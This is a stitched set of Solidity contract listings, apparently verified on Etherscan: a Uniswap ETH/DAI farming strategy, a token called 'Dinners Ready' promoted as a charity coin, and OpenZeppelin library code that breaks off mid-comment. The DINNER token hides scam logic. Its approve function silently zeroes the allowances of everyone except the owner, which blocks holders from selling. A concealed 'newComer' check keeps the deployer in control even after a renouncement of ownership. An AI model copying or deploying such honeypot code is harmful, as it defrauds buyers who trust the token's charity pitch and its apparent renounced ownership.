balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/interface/IController.sol pragma solidity ^0.6.0; interface IController { function vaults(address) external view returns (address); function comAddr() external view returns (address); function devAddr() external view returns (address); function burnAddr() external view returns (address); function want(address) external view returns (address); // NOTE: Only StrategyControllerV2 implements this function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function freeWithdraw(address, uint256) external; function earn(address, uint256) external; } // File: contracts/interface/IStrategy.sol pragma solidity ^0.6.2; interface IStrategy { function want() external view returns (address); function deposit() external; function withdraw(address) external; function withdraw(uint256) external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function freeWithdraw(uint256 _amount) external; function harvest() external; function getHarvestable() external view returns (uint256); } // File: contracts/interface/IStakingRewards.sol pragma solidity ^0.6.2; interface IStakingRewards { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; function getReward() external; function getRewardForDuration() external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function lastUpdateTime() external view returns (uint256); function notifyRewardAmount(uint256 reward) external; function periodFinish() external view returns (uint256); function rewardPerToken() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function rewardRate() external view returns (uint256); function rewards(address) external view returns (uint256); function rewardsDistribution() external view returns (address); function rewardsDuration() external view returns (uint256); function rewardsToken() external view returns (address); function stake(uint256 amount) external; function stakeWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function stakingToken() external view returns (address); function totalSupply() external view returns (uint256); function userRewardPerTokenPaid(address) external view returns (uint256); function withdraw(uint256 amount) external; } // File: contracts/interface/UniswapRouterV2.sol pragma solidity ^0.6.2; interface UniswapRouterV2 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); } // File: contracts/strategies/uniswap/StrategyUniEthDaiLpV1.sol pragma solidity ^0.6.2; contract StrategyUniEthDaiLpV1 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Staking rewards address for ETH/DAI LP providers address public constant rewards = 0xa1484C3aa22a66C62b77E0AE78E15258bd0cB711; // want eth/dai lp tokens address public constant want = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; // tokens we're farming address public constant uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // stablecoins address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // weth address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // dex address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Fees 5% in total // - 1.5% keepUNI for development fund // - 2% performanceFee for community fund // - 1.5% used to burn/repurchase btfs uint256 public keepUNI = 150; uint256 public constant keepUNIMax = 10000; uint256 public performanceFee = 200; uint256 public constant performanceMax = 10000; uint256 public burnFee = 150; uint256 public constant burnMax = 10000; uint256 public withdrawalFee = 0; uint256 public constant withdrawalMax = 10000; address public governance; address public controller; address public strategist; address public timelock; address public btf; constructor( address _btf, address _governance, address _strategist, address _controller, address _timelock ) public { btf = _btf; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; } // **** Views **** function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public view returns (uint256) { return IStakingRewards(rewards).balanceOf(address(this)); } function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external pure returns (string memory) { return "StrategyUniEthDaiLpV1"; } function getHarvestable() external view returns (uint256) { return IStakingRewards(rewards).earned(address(this)); } // **** Setters **** function setBtf(address _btf) public { require(msg.sender == governance, "!governance"); btf = _btf; } function setKeepUNI(uint256 _keepUNI) external { require(msg.sender == timelock, "!timelock"); keepUNI = _keepUNI; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == timelock, "!timelock"); withdrawalFee = _withdrawalFee; } function setPerformanceFee(uint256 _performanceFee) external { require(msg.sender == timelock, "!timelock"); performanceFee = _performanceFee; } function setBurnFee(uint256 _burnFee) external { require(msg.sender == timelock, "!timelock"); burnFee = _burnFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } // **** State Mutations **** function deposit() public { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(rewards, 0); IERC20(want).approve(rewards, _want); IStakingRewards(rewards).stake(_want); } } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Contoller only function for withdrawing for free // This is used to swap between vaults function freeWithdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } IERC20(want).safeTransfer(msg.sender, _amount); } // Withdraw partial funds, normally used with a vault withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } if (withdrawalFee > 0) { uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(want).safeTransfer(IController(controller).comAddr(), _fee); _amount = _amount.sub(_fee); } address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal returns (uint256) { IStakingRewards(rewards).withdraw(_amount); return _amount; } function brine() public { harvest(); } function harvest() public { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // Collects UNI tokens IStakingRewards(rewards).getReward(); uint256 _uni = IERC20(uni).balanceOf(address(this)); if (_uni > 0) { // 10% is locked up for future gov if (keepUNI > 0) { uint256 _keepUNI = _uni.mul(keepUNI).div(keepUNIMax); IERC20(uni).safeTransfer( IController(controller).devAddr(), _keepUNI ); _uni = _uni.sub(_keepUNI); } _swap(uni, weth, _uni); } // Swap half WETH for DAI uint256 _weth = IERC20(weth).balanceOf(address(this)); if (_weth > 0) { // Burn some btfs first if (burnFee > 0) { uint256 _burnFee = _weth.mul(burnFee).div(burnMax); _swap(weth, btf, _burnFee); IERC20(btf).transfer( IController(controller).burnAddr(), IERC20(btf).balanceOf(address(this)) ); _weth = _weth.sub(_burnFee); } _swap(weth, dai, _weth.div(2)); } // Adds in liquidity for ETH/DAI _weth = IERC20(weth).balanceOf(address(this)); uint256 _dai = IERC20(dai).balanceOf(address(this)); if (_weth > 0 && _dai > 0) { IERC20(weth).safeApprove(univ2Router2, 0); IERC20(weth).safeApprove(univ2Router2, _weth); IERC20(dai).safeApprove(univ2Router2, 0); IERC20(dai).safeApprove(univ2Router2, _dai); UniswapRouterV2(univ2Router2).addLiquidity( weth, dai, _weth, _dai, 0, 0, address(this), now + 60 ); // Donates DUST IERC20(weth).transfer( IController(controller).comAddr(), IERC20(weth).balanceOf(address(this)) ); IERC20(dai).transfer( IController(controller).comAddr(), IERC20(dai).balanceOf(address(this)) ); } // We want to get back UNI ETH/DAI LP tokens uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { // Performance fee if (performanceFee > 0) { IERC20(want).safeTransfer( IController(controller).comAddr(), _want.mul(performanceFee).div(performanceMax) ); } deposit(); } } // Emergency function call function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } // **** Internal functions **** function _swap( address _from, address _to, uint256 _amount ) internal { // Swap with uniswap IERC20(_from).safeApprove(univ2Router2, 0); IERC20(_from).safeApprove(univ2Router2, _amount); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } UniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), now.add(60) ); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-11-22 */ /** Dinner's Ready is reigniting the charity coin trend 🚀 First ever charity NFTs destined to go viral 👀 Real-world charity partners fighting global hunger 💛 Huge influencer support and experienced team ✅ $DINNER ERC20 LAUNCH: ⏰ Monday Nov 22nd, 2021 Website: https://DinnersReady.io Telegram: https://t.me/DinnersReadyETH Twitter: https://twitter.com/DinnersReadyETH */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract DINNER is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Dinners Ready'; string private _symbol = 'DINNER '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
True
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pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Partial License: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining 